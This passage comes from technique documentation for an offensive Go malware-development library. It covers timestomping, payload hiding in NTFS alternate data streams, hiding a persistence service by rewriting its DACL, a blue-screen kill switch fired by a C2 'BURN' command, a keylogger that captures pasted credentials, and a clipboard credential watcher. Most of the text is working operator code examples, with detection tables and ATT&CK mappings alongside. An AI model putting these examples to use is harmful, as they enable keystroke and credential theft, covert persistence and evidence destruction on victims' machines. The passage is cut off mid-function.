fls, Plaso'spsort, Velociraptor all read the immutable$FILE_NAME($FN) timestamps too, which user-mode APIs cannot modify. The$SIvs$FNmismatch IS the signature of timestomping. - NTFS only —
$SI/$FNare NTFS concepts. FAT / exFAT / network shares have one set of timestamps, no duality signature. - Doesn't hide the create event —
$LogFile,$UsnJrnlrecorded the original create+modify timestamps before the stomp. Forensic recovery from journals catches you. - Doesn't help on memory-only artefacts — by definition no on-disk timestamps. This is for dropped files only.
Primer
Every NTFS file has two sets of timestamps:
$STANDARD_INFORMATION($SI) — read bydir, Explorer,os.Stat,GetFileTime. Mutable from user-mode viaSetFileTime.$FILE_NAME($FN) — maintained by the filesystem driver itself. Read by forensic tooling (Sleuth Kit, Plaso). User-mode APIs cannot modify it; only kernel-mode code (e.g.FSCTL_SET_FILE_INFORMATIONwith the right context) can.
Standard timestomping changes only $SI. Triage tools and AV looking at
the four $SI timestamps see the implant as "old". Forensic tools
comparing $SI against $FN see the disparity and flag it.
This package handles the user-mode $SI path. To also rewrite $FN,
you'd need a kernel driver — out of scope here.
How it works
CopyFrom is the common path: open the reference, read its three
timestamps, apply them to the target. Set is the explicit-value path
when you want a specific date.
The OS kernel's $FN records remain untouched — that's the gap forensic
tools exploit.
API → godoc
pkg.go.dev/github.com/oioio-space/maldev/cleanup/timestomp is the authoritative
reference for every exported symbol. This page teaches the
concepts; the godoc is the specification.
Examples
Simple
import (
"time"
"github.com/oioio-space/maldev/cleanup/timestomp"
)
// Make impl.exe look 5 years old
old := time.Now().Add(-5 * 365 * 24 * time.Hour)
_ = timestomp.Set(`C:\Users\Public\impl.exe`, old, old)
Composed (with reference file)
Match a stable system binary so the dropped artefact blends with neighbours:
ref := `C:\Windows\System32\notepad.exe`
_ = timestomp.CopyFrom(ref, `C:\Users\Public\impl.exe`)
Advanced (chain into wipe + selfdelete)
Reset directory metadata so the parent doesn't show "recently modified":
ref := `C:\Windows\System32\notepad.exe`
_ = timestomp.CopyFrom(ref, filepath.Dir(target))
_ = wipe.File(target, 3)
_ = timestomp.CopyFrom(ref, filepath.Dir(target)) // re-stomp after unlink
_ = selfdelete.Run()
Complex (build-time stomping)
For implants you build and deliver — not for runtime cleanup:
//go:build ignore
// Pre-flight build hook: make the dropped EXE look like cmd.exe in a
// snapshot from 2019 (BUILD-TIME, not runtime).
_ = timestomp.CopyFrom("samples/cmd.exe", "dist/impl.exe")
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
$STANDARD_INFORMATION recently changed but $FILE_NAME unchanged | Sleuth Kit istat, Plaso, MFTECmd |
SetFileTime API call on a file in a writable user directory | EDR file-IO event aggregation (low-fidelity) |
Cluster of files with identical $SI timestamps | Statistical hunt — multiple stomped files often inherit identical times |
D3FEND counter: D3-FH (weak; the real counter is MFT analysis). Hardening: enable audit-policy on file modifications in critical directories.
MITRE ATT&CK
| T-ID | Name | Sub-coverage |
|---|---|---|
| T1070.006 | Indicator Removal: Timestomp | $STANDARD_INFORMATION-only variant |
Limitations
$FILE_NAMEnot touched. A forensic comparison defeats this. To also rewrite$FN, kernel-mode access (a driver, or a BYOVD primitive) is needed — out of scope for this package.- Resolution differs by filesystem. NTFS stores 100-ns precision; FAT32 stores 2-second precision. Cloning from NTFS to FAT32 truncates.
- Some
$SItriggers (e.g. content rewrite by another tool, AV scan) re-update the timestamps after the stomp. Stomp last in the cleanup sequence.
See also
cleanup/wipe— pair to clean directory mtime after unlink.- Sleuth Kit
istat— defender-side comparison tool. - Eric Zimmerman's MFTECmd — modern forensic MFT parser.
- SANS — NTFS Time Rules
— overview of when
$SIvs$FNupdates fire.
NTFS Alternate Data Streams
TL;DR
NTFS lets you attach named data streams to any file. The
streams share the host file's MFT entry / ACL / timestamps but
are invisible to dir, Explorer, Get-ChildItem, and most
file-listing APIs. Useful as a quiet stash for payloads,
config, encrypted second-stage bytes, etc.
| You want to… | Use | Notes |
|---|---|---|
| Hide a second-stage payload in an existing file | Write | \\file.txt:hidden:$DATA |
| Read it back | Read | Same syntax — both stager and host file unaffected |
| Enumerate hidden streams on a file | List | Returns names only; not visible to dir |
| Drop a stream without altering the host file | Delete | Removes only the named stream |
What this DOES achieve:
- Stash data on disk without creating a "new file" — defenders
enumerating new files in
\Users\Public\see only what was there before; ADS payload is invisible. - ACL inheritance from the host file — a stream attached to
notepad.exeinheritsnotepad.exe's ACL. - Survives
os.Stat(the host file's size unchanged from the perspective of standard APIs).
What this does NOT achieve:
- Sysmon EID 15 (FileCreateStreamHash) catches every write — named-stream creation is logged by default-Sysmon-config installations. Stash with care.
dir /Rshows them — defenders running it (or PowerShellGet-Item -Stream *) see every stream. Standard tools don't, but specialised triage scripts do.- NTFS only — no FAT / exFAT / network shares. Mail attachments + zip extraction strip ADS by design.
- Mark-of-the-Web (
Zone.Identifier) is also an ADS — removing it via this package'sDeleteclears the SmartScreen warning but leaves your own audit trail in$LogFile/$UsnJrnl.
Primer
Every file on an NTFS volume has a default unnamed data stream
(:$DATA) — that's what cat / Get-Content reads. NTFS additionally
allows arbitrary named streams attached to the same file. The streams
share the file's MFT entry, ACL, and timestamps; they're addressable as
file.txt:hidden:$DATA. Most user-facing tooling ignores everything but
the default stream, which makes ADS a quiet stash spot.
ADS support is filesystem-bound. NTFS supports it; FAT32, exFAT, ext4, and any non-Windows filesystem do not. Crossing a non-NTFS boundary (e.g., copying to a USB stick) silently drops the streams.
How it works
sequenceDiagram
participant Caller
participant ads
participant Kernel as "NTFS driver"
participant File as "some.txt"
Caller->>ads: Write("some.txt", "hidden", payload)
ads->>Kernel: CreateFileW("some.txt:hidden", GENERIC_WRITE)
Kernel->>File: allocate/locate stream "hidden"
Kernel-->>ads: HANDLE
ads->>Kernel: WriteFile(HANDLE, payload)
ads->>Kernel: CloseHandle(HANDLE)
ads-->>Caller: nil
The package wraps CreateFileW with the colon-suffix syntax. The kernel
handles stream allocation transparently. List uses
NtQueryInformationFile(FileStreamInformation) to walk the MFT entry's
stream attribute list.
API → godoc
pkg.go.dev/github.com/oioio-space/maldev/cleanup/ads is the authoritative
reference for every exported symbol. This page teaches the
concepts; the godoc is the specification.
Examples
Simple
import "github.com/oioio-space/maldev/cleanup/ads"
_ = ads.Write(`C:\Users\Public\desktop.ini`, "config", []byte("c2=1.2.3.4"))
cfg, _ := ads.Read(`C:\Users\Public\desktop.ini`, "config")
streams, _ := ads.List(`C:\Users\Public\desktop.ini`)
// streams: []string{"config"}
_ = ads.Delete(`C:\Users\Public\desktop.ini`, "config")
Composed (with crypto)
key := crypto.RandomKey(32)
ct, _ := crypto.AESGCMEncrypt(key, []byte(state))
_ = ads.Write(`C:\Windows\Temp\index.dat`, "s", ct)
// Later:
ct, _ = ads.Read(`C:\Windows\Temp\index.dat`, "s")
state, _ := crypto.AESGCMDecrypt(key, ct)
Advanced (chain with selfdelete)
cleanup/selfdelete uses ADS rename internally:
// selfdelete renames the default stream to ":x" via the same primitive
// surface the ads package exposes, then sets DELETE disposition.
// See cleanup/selfdelete/selfdelete.go for the full sequence.
selfdelete.Run()
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
| MFT entry size grows when stream is added | NTFS forensic tools (Sleuth Kit, Plaso) |
CreateFileW with colon-suffix path | EDR file-IO event aggregation; rare in benign software |
dir /R lists all streams | Manual triage |
Get-Item -Stream * (PowerShell) | Manual hunt |
| Sysinternals Streams tool | Forensic walkthrough |
D3FEND counter: D3-FCR (File Content Rules) — antivirus engines can scan named streams when configured.
MITRE ATT&CK
| T-ID | Name | Sub-coverage |
|---|---|---|
| T1564.004 | Hide Artifacts: NTFS File Attributes | Named-stream payload storage |
Limitations
- NTFS-only. Cross-filesystem copy drops streams.
- Many AVs scan ADS. Defender enumerates and scans named streams by default since Win10 1607.
- Mark-of-the-Web stream (
Zone.Identifier) is added automatically to internet-downloaded files; collisions are unlikely but worth avoiding (don't useZone.Identifieras your stream name). - Backup tools (Robocopy with
/B, Windows Backup) preserve streams; unaware tools (copy,xcopywithout/B) silently drop them. - Stealth read of named ADS streams is non-trivial.
ReadVia- nil-fallback uses path-based
os.Openon<path>:<stream>— visible to path-hooking EDRs. The repo's bundled*stealthopen.Stealthroutes through NTFS Object IDs which addresses the MFT entry only (main stream), not a specific named stream. A stealth-on-ADS read primitive needs a custom Opener built onNtCreateFilewith the composite path; not provided by this package.
- nil-fallback uses path-based
See also
cleanup/selfdelete— primary internal consumer.- Sysinternals Streams — operator-side enumeration.
- microsoft/go-winio backup.go — original ADS code structure inspiration.
- CQURE Academy — Alternate Data Streams.
Hide Windows services via DACL
TL;DR
You installed a persistence service (or want to hide an existing one) and want it invisible to standard service enumerators. This package replaces the service's DACL so even admins can't query its config or status through the SCM. The service still runs.
| You want… | Use | Effect |
|---|---|---|
Hide a service from services.msc / sc query / Get-Service | Hide | Service runs; querying returns ACCESS_DENIED |
| Restore visibility | Unhide | Re-applies default DACL |
| Snapshot a DACL before mutating | GetSecurityDescriptor | For backup/restore by the operator |
What this DOES achieve:
services.msc,sc query,Get-Service,Win32_ServiceWMI all see "access denied" or skip the service entirely.- Naive EDR enumerators (
EnumServicesStatusEx) skip inaccessible services by default. - Service still runs —
Stop-Servicefrom a process holding the original handle still works; the OS just blocks new enumeration.
What this does NOT achieve:
- Doesn't hide from the kernel —
EtwTIService Control Manager events fire on service start regardless. Defenders watching ETW kernel-level service events still see you. - Sophisticated EDR enumerators open services with low privileges first, retry with elevated. They notice the ACCESS_DENIED anomaly + log it.
- Doesn't hide registry traces —
HKLM\SYSTEM\CurrentControlSet\Services\<name>is still visible toreg query/Get-ChildItemfrom any user with read access to the registry key. Combine with registry-key DACL hardening (out of scope here). - Reboot persistence depends on the registry config — the DACL change is on the SCM in-memory copy. After reboot, the SCM re-reads the registry — your DACL change is lost unless persisted there too.
Primer
Every Windows service has a security descriptor controlling who can
query, start, stop, change config, or change ACL on it. The default
DACL grants SERVICE_QUERY_CONFIG | SERVICE_QUERY_STATUS | SERVICE_INTERROGATE | SERVICE_USER_DEFINED_CONTROL to interactive users
and admins. Replacing that DACL with one that denies those rights
makes the service invisible to standard listing tools without affecting
its execution.
The persistence side (creating + starting the service) lives in
persistence/service. This package handles
the hiding side, applied AFTER install.
How it works
sequenceDiagram
participant Caller
participant SCM
participant Service
Caller->>SCM: OpenSCManager(SC_MANAGER_ALL_ACCESS)
Caller->>SCM: OpenService(svcName, WRITE_DAC | READ_CONTROL)
SCM-->>Caller: HANDLE
Caller->>Service: SetNamedSecurityInfo(SE_SERVICE, DACL_SECURITY_INFORMATION, restricted-DACL)
Service-->>Caller: ERROR_SUCCESS
Note over SCM,Service: subsequent EnumServicesStatus calls<br>filter out the service for non-SYSTEM callers
The restricted DACL the package applies:
D:(D;;CCSWLOLCRC;;;IU)
(D;;CCSWLOLCRC;;;SU)
(D;;CCSWLOLCRC;;;BA)
(A;;LCRPRC;;;SY)
- D entries deny
CCSWLOLCRC(query config / status / control / read control) to Interactive Users (IU), Service users (SU), Built-in Admins (BA). - A entry allows
LCRPRC(read DACL + read control + start) to SYSTEM only.
Result: the service runs as SYSTEM, but only SYSTEM can enumerate it.
API → godoc
pkg.go.dev/github.com/oioio-space/maldev/cleanup/service is the authoritative
reference for every exported symbol. This page teaches the
concepts; the godoc is the specification.
Examples
Simple
import "github.com/oioio-space/maldev/cleanup/service"
if _, err := service.HideService(service.Native, "", "MyService"); err != nil {
log.Fatal(err)
}
// MyService runs but does not appear in services.msc / sc query / Get-Service.
// Restore at end of mission:
_, _ = service.UnHideService(service.Native, "", "MyService")
Composed (with persistence/service)
// Install + start
_ = persistenceService.InstallAndStart("MyService", "C:\\Path\\to\\impl.exe")
// Hide
_, _ = service.HideService(service.Native, "", "MyService")
Advanced — remote hide via UNC
out, err := service.HideService(service.SC_SDSET, `\\TARGET-HOST`, "MyService")
if err != nil {
log.Fatalf("hide on TARGET-HOST: %v\noutput: %s", err, out)
}
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
| Security event 4670 (DACL change on object) | Audit Object Access policy must be enabled |
| Sysmon Event 4697 (service control change) | Always logged when Sysmon configured |
Service still listed in HKLM\SYSTEM\CurrentControlSet\Services\<name> | Registry-based enumeration sees through DACL |
EnumServicesStatusEx from SYSTEM context returns the service | EDR running as SYSTEM is unaffected |
D3FEND counter: D3-RAPA
(Resource Access Pattern Analysis) — registry-based service enumeration
defeats DACL hiding. Hardening: scan HKLM\SYSTEM\CurrentControlSet\ Services\ directly, not via SCM.
MITRE ATT&CK
| T-ID | Name | Sub-coverage |
|---|---|---|
| T1564 | Hide Artifacts | DACL-based service hiding |
| T1543.003 | Create or Modify System Process: Windows Service | hide-side companion to install/start |
Limitations
- Requires SeTakeOwnership / WRITE_DAC. Standard admin OK; non-admin cannot rewrite the security descriptor.
- Defeated by registry enumeration. Anyone who reads
HKLM\SYSTEM\ CurrentControlSet\Services\directly sees the service regardless. - SYSTEM-context EDR is unaffected. The DACL allows SYSTEM read.
- Audit policy on object access logs Event 4670 for the DACL change itself; not always enabled by default but trivial for blue to enable.
SC_SDSETmode shells out tosc.exe— leaves a child-process artefact thatNativemode avoids.
See also
persistence/service— install/start side.- Microsoft — Service security and access rights.
- Sigma rule: service DACL change (illustrative — exact rule path may vary).
Controlled Blue Screen of Death
[!CAUTION] This is a destructive, irreversible primitive. Calling
bsod.Triggercrashes the host immediately. Use only as a last-resort kill switch when stopping log shipping or process collection is more valuable than the host. The example tests are gated behind a build tag and do not run by default.
TL;DR
Last-resort kill switch: crash the host so in-memory state (unflushed logs, EDR's pending event queue, your secrets) is destroyed before anything can hit disk.
| You're up against… | Use | Cost |
|---|---|---|
| EDR about to ship telemetry, no time to wipe gracefully | Trigger | One syscall, host gone |
| Just want to wipe memory | Don't use this — see memory-wipe | Reversible cleanup |
⚠ Destructive and irreversible. The host reboots immediately. Use only when stopping log shipping is more valuable than the host itself. Tests for this primitive are gated behind a build tag and never run in CI by default.
What this DOES achieve:
- Pending writes in EDR's user-mode buffers, Event Log service queues, and Sysmon's pre-flush state are all lost.
- Memory dumps that would have captured your shellcode / keys are gone — kernel produces a minidump on next boot which excludes user-mode allocations by default.
- One-syscall trigger; no need for admin shell — only
SeShutdownPrivilege(granted by default to interactive users).
What this does NOT achieve:
- Doesn't hide that it happened — Event Log entry
"0xDEADBEEF" +
MEMORY.DMPon disk after reboot tell the forensic team a process calledNtRaiseHardError. This is a panic button, not stealth. - Doesn't survive the reboot — your implant is gone. Persistence (auto-start service / registry run key / scheduled task) must be in place beforehand.
- Doesn't wipe disk artefacts — anything already on disk
(your dropper, prefetch, recent file activity) survives.
Pair with
cleanup/wipeBEFORE crashing.
Primer
NtRaiseHardError is the kernel's mechanism for raising errors from
user-mode that the kernel decides how to handle. With the right
parameters (notably OptionShutdownSystem), the kernel treats the
report as an unrecoverable system fault and crashes immediately with the
specified bug-check code (KeBugCheckEx).
The technique requires SeShutdownPrivilege, which any process running
as a Medium-IL user with that privilege available can enable via
RtlAdjustPrivilege. Most local accounts have it.
Use cases:
- Operator wants to abort an exfil operation when an EDR alert fires — faster to crash the host than to clean up.
- Anti-forensic last resort: terminate the implant + all running collection agents in one shot.
- Red-team exercise: validate the blue team's "host went silent" response.
How it works
sequenceDiagram
participant Caller
participant ntdll
participant Kernel
Caller->>ntdll: RtlAdjustPrivilege(SeShutdownPrivilege, true)
ntdll-->>Caller: NTSTATUS_SUCCESS
Caller->>ntdll: NtRaiseHardError(STATUS_ASSERTION_FAILURE, 0, 0, NULL, 6 /* OptionShutdownSystem */)
ntdll->>Kernel: NtRaiseHardError syscall
Kernel->>Kernel: KeBugCheckEx(0xc0000420, ...)
Note over Kernel: BSOD — host crashes
OptionShutdownSystem (value 6) tells the kernel to treat the hard
error as fatal. The supplied status code propagates into the bug-check
parameter shown on the BSOD screen.
API → godoc
pkg.go.dev/github.com/oioio-space/maldev/cleanup/bsod is the authoritative
reference for every exported symbol. This page teaches the
concepts; the godoc is the specification.
Examples
Simple
//go:build windows
package main
import (
"github.com/oioio-space/maldev/cleanup/bsod"
wsyscall "github.com/oioio-space/maldev/win/syscall"
)
func main() {
caller := wsyscall.New(wsyscall.MethodIndirect, nil)
if err := bsod.Trigger(caller); err != nil {
// Reached only on failure; host doesn't come back on success.
panic(err)
}
}
Composed — guard with explicit operator confirmation
if !operatorConfirmed("really BSOD?") {
return
}
// Wipe in-memory secrets first so even crash dumps reveal less.
memory.WipeAndFree(payloadAddr, payloadSize)
_ = bsod.Trigger(caller)
Advanced — chain with operator-side TLS handshake
A pattern from real ops: BSOD on receipt of a "BURN" command from C2.
go func() {
for cmd := range c2Channel {
if cmd == "BURN" {
memory.WipeAndFree(stateAddr, stateSize)
_ = bsod.Trigger(caller)
}
}
}()
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
| Bug-check itself | System event log Event 1001 (BugCheck), Event 41 (Kernel-Power) on next boot |
| Memory dump (if configured) | C:\Windows\MEMORY.DMP (or C:\Dumps\ per WER LocalDumps) names the originating process |
SeShutdownPrivilege adjustment | Pre-crash ETW from Microsoft-Windows-Security-Auditing (Event 4673 with audit policy on) |
| Cluster of identical bug-checks across hosts | Sysmon-shipped Event 1001 in SIEM |
D3FEND counter: D3-PSEP (weak — bug-checks are inherent to OS); the real counter is availability monitoring (host-up dashboard) and crash-dump analysis post-incident.
MITRE ATT&CK
| T-ID | Name | Sub-coverage |
|---|---|---|
| T1529 | System Shutdown/Reboot | Forced bug-check variant |
Limitations
SeShutdownPrivilegerequired. Sandboxed processes (Edge Renderer, AppContainer Store apps) cannot adjust this privilege.- Crash dump destination depends on system config. If the host is configured for kernel-only minidumps, the dump may not include the full process state — but it WILL include the originating thread.
- VM hosts with snapshot-on-crash configurations may preserve state better than the operator wants.
- Win11 modern standby — some bug-checks are recoverable on Win11 if
the system is on AC power and the kernel decides to attempt recovery
(rare for
STATUS_ASSERTION_FAILURE-class codes).
See also
cleanup/memory— pair withWipeAndFreeto destroy in-memory secrets before the bug-check.evasion/sleepmask— alternative when you want to merely hide, not destroy.- Microsoft — NtRaiseHardError reference (kernel-mode signature; user-mode is undocumented but stable).
Collection techniques
The collection/* package tree groups local data-acquisition primitives
for post-exploitation: keystrokes, clipboard contents, screen captures.
Each sub-package is self-contained and Windows-only — pick the data source
the operator needs and import the matching package.
flowchart LR
subgraph user [User session]
KB[Keyboard input]
CB[Clipboard]
FB[Framebuffer]
end
subgraph collection [collection/*]
K[keylog<br>WH_KEYBOARD_LL hook]
C[clipboard<br>OpenClipboard + seq poll]
S[screenshot<br>GDI BitBlt]
end
subgraph sink [Operator sink]
OUT[stdout / file / C2 channel]
end
KB --> K
CB --> C
FB --> S
K -. Ctrl+V .-> C
K --> OUT
C --> OUT
S --> OUT
Where to start (novice path):
clipboard— quietest collector. One-shotReadTextor pollingWatchchannel. Catches passwords pasted from password managers.screenshot— periodic visual capture. Useful for rich applications (banking, encrypted chat) where the actual data isn't accessible programmatically.keylog— last resort. Catches everything typed but the WH_KEYBOARD_LL hook is the textbook EDR signal. Use only when other paths don't suffice.
Packages
| Package | Tech page | Detection | One-liner |
|---|---|---|---|
collection/keylog | keylogging.md | noisy | low-level keyboard hook with per-event window/process attribution and Ctrl+V clipboard capture |
collection/clipboard | clipboard.md | quiet | one-shot ReadText plus Watch channel driven by GetClipboardSequenceNumber polling |
collection/screenshot | screenshot.md | quiet | GDI BitBlt → PNG; primary, arbitrary rectangle, or per-monitor capture |
Quick decision tree
| You want to… | Use |
|---|---|
| …record what the user types, with window context | keylog.Start |
| …also capture pasted credentials | keylog.Start — Ctrl+V auto-snapshots clipboard into the event |
…read clipboard once (e.g. after runas) | clipboard.ReadText |
| …stream clipboard changes for a session | clipboard.Watch |
| …grab the primary monitor as PNG | screenshot.Capture |
| …enumerate monitors first, then capture one | screenshot.DisplayCount → CaptureDisplay |
| …crop to a specific UI region (e.g. an open RDP window) | screenshot.CaptureRect |
MITRE ATT&CK
| T-ID | Name | Packages | D3FEND counter |
|---|---|---|---|
| T1056.001 | Input Capture: Keylogging | collection/keylog | D3-PA |
| T1115 | Clipboard Data | collection/clipboard, collection/keylog (paste capture) | D3-PA |
| T1113 | Screen Capture | collection/screenshot | D3-PA |
Cross-referenced techniques
Two adjacent collection workflows live under sibling areas. They are listed here as a navigation convenience; their canonical homes are the packages that own them.
| Area concern | Tech page | Owning package |
|---|---|---|
NTFS Alternate Data Streams (hide collected data in :stream suffixes) | alternate-data-streams.md | cleanup/ads |
LSASS minidump (in-process MINIDUMP assembly via NtReadVirtualMemory) | lsass-dump.md | credentials/lsassdump |
[!NOTE] Both pages will move to their owning areas in Phase 6 of the doc refactor (see
.dev/refactor-2026/progress.md(internal:.dev/progress.md)).
See also
- Operator path: post-exploitation collection
- Detection eng path: collection telemetry
c2/transport— exfiltrate captured data over the established channel.crypto— encrypt collected blobs before staging or transmission.cleanup— wipe collection artefacts after exfiltration.
Keylogging
← collection index · docs/index
TL;DR
Install a WH_KEYBOARD_LL system-wide hook; every keystroke arrives in a
Go channel with translated character, modifier flags, active-window title and
owning-process path. On Ctrl+V the clipboard snapshot is bundled into the
same event, capturing credential pastes automatically.
Primer
A low-level keyboard hook intercepts each WM_KEYDOWN message at the OS
message-dispatch layer, before it reaches any application. This gives the
implant a complete transcript of everything the user types — passwords,
commands, search queries — across every window without injecting into any
process.
Each Event carries the translated Unicode character (or a label such as
[Enter], [Backspace], [F5]), the modifier state (Ctrl/Shift/Alt), the
foreground window's title, and the executable path of the owning process.
That attribution turns a raw character stream into a structured log: browser
typed credentials, terminal commands, and document edits land in separate
buckets with no additional work by the consumer.
The Ctrl+V case is handled specially: when a Ctrl+V chord is detected the hook reads the current clipboard text and attaches it to the event. This catches credential pastes that bypass keystroke-level keylogging entirely — a password manager that auto-fills via the clipboard never generates printable keystrokes.
The hook runs on a dedicated OS thread with its own Win32 message pump. The
goroutine that calls Start returns immediately; the pump thread runs until
the context is cancelled, at which point it posts WM_QUIT to itself and
tears down cleanly.
How It Works
sequenceDiagram
participant User
participant OS as "Win32 message pump"
participant Hook as "hookProc (LL hook)"
participant Xlat as "ToUnicodeEx"
participant Ch as "Event channel"
participant Consumer
User->>OS: WM_KEYDOWN (VkCode)
OS->>Hook: hookProc(nCode, wParam, lParam)
Hook->>Hook: GetAsyncKeyState (modifiers)
Hook->>Hook: GetForegroundWindow + cache check
Hook->>Xlat: VkCode + ScanCode + HKL
Xlat-->>Hook: Unicode char (or dead-key pending)
Hook->>Ch: Event{Character, Ctrl, Window, Process, …}
Ch-->>Consumer: receive
Hook->>OS: CallNextHookEx (pass-through)
Key implementation details:
ToUnicodeExwithwFlags=0x4preserves dead-key state in the keyboard layout buffer, so accented characters (é,ü) are synthesised correctly without consuming the pending dead key.- Foreground-window resolution is cached by HWND and refreshed only on
change —
GetWindowText+QueryFullProcessImageNameare expensive relative to the hook cadence. AttachThreadInputis not used; modifier state is read viaGetAsyncKeyStatewhich does not require thread attachment.- A single global
atomic.Pointer[hookState]serialises concurrentStartcalls; a second call while a hook is active returnsErrAlreadyRunning.
API → godoc
pkg.go.dev/github.com/oioio-space/maldev/collection/keylog is the authoritative
reference for every exported symbol. This page teaches the
concepts; the godoc is the specification.
Examples
Simple
import (
"context"
"fmt"
"github.com/oioio-space/maldev/collection/keylog"
)
ch, err := keylog.Start(context.Background())
if err != nil {
panic(err)
}
for ev := range ch {
fmt.Printf("[%s] %s", ev.Process, ev.Character)
if ev.Clipboard != "" {
fmt.Printf(" <paste: %q>", ev.Clipboard)
}
fmt.Println()
}
Composed (per-process segmentation)
import (
"context"
"fmt"
"path/filepath"
"strings"
"github.com/oioio-space/maldev/collection/keylog"
)
func logByProcess(ctx context.Context) map[string]string {
ch, _ := keylog.Start(ctx)
bufs := map[string]*strings.Builder{}
for ev := range ch {
proc := strings.ToLower(filepath.Base(ev.Process))
if bufs[proc] == nil {
bufs[proc] = &strings.Builder{}
}
bufs[proc].WriteString(ev.Character)
if ev.Clipboard != "" {
bufs[proc].WriteString(fmt.Sprintf("[Paste:%q]", ev.Clipboard))
}
}
out := make(map[string]string, len(bufs))
for k, v := range bufs {
out[k] = v.String()
}
return out
}
Advanced (encrypted ADS stash)
Buffer keystrokes, encrypt each chunk with AES-GCM, and hide the ciphertext in an NTFS Alternate Data Stream on an existing system file.
import (
"context"
"strings"
"github.com/oioio-space/maldev/cleanup/ads"
"github.com/oioio-space/maldev/collection/keylog"
"github.com/oioio-space/maldev/crypto"
)
const (
adsHost = `C:\ProgramData\Microsoft\Windows\Caches\caches.db`
adsStream = "log"
)
func main() {
ctx := context.Background()
ch, _ := keylog.Start(ctx)
key, _ := crypto.NewAESKey()
var buf strings.Builder
for ev := range ch {
buf.WriteString(ev.Character)
if buf.Len() < 512 {
continue
}
blob, _ := crypto.EncryptAESGCM(key, []byte(buf.String()))
buf.Reset()
existing, _ := ads.Read(adsHost, adsStream)
_ = ads.Write(adsHost, adsStream, append(existing, blob...))
}
}
See ExampleStart in
keylog_example_test.go.
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
SetWindowsHookEx(WH_KEYBOARD_LL) call | Sysmon Event 7 (image load) and ETW Microsoft-Windows-Win32k; EDRs specifically watch LL hook installation |
| Global hook DLL loaded into every GUI process | Defender / MDE module-load telemetry |
Sustained GetMessage loop in a non-UI process | Behavioural heuristics — unusual message-pump activity |
GetForegroundWindow + QueryFullProcessImageName pairs | EDR API telemetry; rate unusually high for non-accessibility software |
GetClipboardData on every Ctrl+V | Clipboard access telemetry (Windows 10 1809+, Controlled Folder Access) |
D3FEND counters:
- D3-PA — behavioural analysis of process API usage patterns.
- D3-SCA — system-call sequence analysis, catches unusual LL hook setup.
Hardening for the operator: run inside a process that legitimately
installs hooks (accessibility layer, IME, screen reader lookalike); avoid
calling Start from a headless service where a message pump is anomalous.
MITRE ATT&CK
| T-ID | Name | Sub-coverage | D3FEND counter |
|---|---|---|---|
| T1056.001 | Input Capture: Keylogging | full — WH_KEYBOARD_LL hook | D3-PA |
| T1115 | Clipboard Data | partial — captured only on Ctrl+V paste events | D3-PA |
Limitations
- One hook per process.
ErrAlreadyRunningprevents double-installation; multiple concurrent keylog sessions require separate processes. - Requires a Windows GUI session.
SetWindowsHookEx(WH_KEYBOARD_LL)is rejected in sessions without a desktop (SYSTEM service, Session 0). - Non-BMP Unicode. Surrogate-pair characters (emoji, rare CJK) may appear
split across two events or transliterated;
ToUnicodeExreturns two UTF-16 words in sequence. - EDR hook visibility. LL hooks are among the most scrutinised API calls in endpoint detections; combine with process masquerading if stealth is required.
See also
- Clipboard capture — standalone clipboard monitoring without a keyboard hook.
- Screen capture — combine with keylog for full session recording.
crypto— encrypt the event stream before writing to disk.cleanup/ads— hide collected data in NTFS ADS.- Operator path — post-exploitation collection chains.
- Detection eng path — hook-based detection telemetry.
Clipboard capture
← collection index · docs/index
TL;DR
ReadText returns the current clipboard text in one call. Watch polls
GetClipboardSequenceNumber and streams each new distinct text value on a
channel until the context is cancelled — no hooks, no DLL injection, pure
Win32 API that blends with legitimate software traffic.
Primer
Users routinely copy passwords, API keys, and session tokens to the clipboard — from password managers, browser address bars, and SSH key files. Clipboard monitoring captures that data in transit regardless of how the application populates the clipboard.
The implementation deliberately avoids clipboard notification hooks
(AddClipboardFormatListener, SetClipboardViewer). Those mechanisms require
a message window and are scrutinised by EDRs. Instead, Watch polls
GetClipboardSequenceNumber, a lightweight integer that the OS increments on
every clipboard write. When the number changes, OpenClipboard +
GetClipboardData(CF_UNICODETEXT) reads the new content. The poll interval
is caller-controlled: aggressive (100 ms) catches rapid-fire credential
pastes; gentle (1–5 s) is indistinguishable from benign polling.
ReadText is a one-shot variant for the case where the operator wants to
snapshot the clipboard immediately after gaining execution — for instance,
after a runas escalation that may have left a password on the clipboard.
How It Works
sequenceDiagram
participant User
participant App
participant OS as "Windows Clipboard"
participant Watch as "clipboard.Watch()"
User->>App: Ctrl+C (copy credential)
App->>OS: SetClipboardData(CF_UNICODETEXT)
OS->>OS: increment sequence number
loop every pollInterval
Watch->>OS: GetClipboardSequenceNumber()
alt sequence changed
Watch->>OS: OpenClipboard(0)
Watch->>OS: GetClipboardData(CF_UNICODETEXT)
OS-->>Watch: UTF-16LE handle
Watch->>Watch: UTF-16LE → UTF-8
Watch->>Watch: emit on channel
Watch->>OS: CloseClipboard()
end
end
Key implementation details:
GetClipboardSequenceNumberrequires no clipboard ownership and no message window — it is a pure read of a kernel counter.OpenClipboard(0)(null HWND) is valid and avoids creating a fake window that process-enumeration tools could flag.- On
ErrOpen(another process holds the clipboard momentarily)Watchsilently skips the tick rather than blocking — the next tick will retry. - The first value is emitted unconditionally on
Watchstart, regardless of whether the sequence number has changed since the last call.
API → godoc
pkg.go.dev/github.com/oioio-space/maldev/collection/clipboard is the authoritative
reference for every exported symbol. This page teaches the
concepts; the godoc is the specification.
Examples
Simple
import (
"context"
"fmt"
"time"
"github.com/oioio-space/maldev/collection/clipboard"
)
// One-shot read.
text, err := clipboard.ReadText()
if err == nil {
fmt.Println(text)
}
// Continuous monitor — print every change.
ctx, cancel := context.WithTimeout(context.Background(), 5*time.Minute)
defer cancel()
for content := range clipboard.Watch(ctx, 500*time.Millisecond) {
fmt.Println("copied:", content)
}
Composed (credential filter)
Emit only values that look like credentials — reduces noise and limits the on-disk footprint.
import (
"context"
"strings"
"time"
"unicode"
"github.com/oioio-space/maldev/collection/clipboard"
)
func looksLikeCredential(s string) bool {
if len(s) < 8 || len(s) > 512 {
return false
}
hasDigit, hasUpper, hasSpecial := false, false, false
for _, r := range s {
switch {
case unicode.IsDigit(r):
hasDigit = true
case unicode.IsUpper(r):
hasUpper = true
case !unicode.IsLetter(r) && !unicode.IsDigit(r):
hasSpecial = true
}
}
